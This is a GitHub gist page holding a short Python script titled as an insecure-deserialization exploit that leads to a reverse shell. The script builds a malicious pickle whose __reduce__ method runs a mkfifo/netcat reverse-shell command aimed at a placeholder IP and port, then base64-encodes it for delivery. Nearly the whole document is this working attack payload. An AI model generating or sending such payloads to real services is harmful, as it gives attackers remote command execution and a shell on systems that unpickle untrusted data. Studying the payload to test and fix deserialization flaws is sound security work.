Skip to content

Instantly share code, notes, and snippets.

@blackvoidx
Created December 14, 2024 08:09
Show Gist options
  • Save blackvoidx/67ed60ad002004cfca5aac67f4c9f197 to your computer and use it in GitHub Desktop.
Save blackvoidx/67ed60ad002004cfca5aac67f4c9f197 to your computer and use it in GitHub Desktop.
Insecure Deserialization (Python) lead to reverse shell
import pickle
import sys
import base64
command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat IP PORT > /tmp/f'
class rce(object):
def __reduce__(self):
import os
return (os.system,(command,))
print(base64.b64encode(pickle.dumps(rce())))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment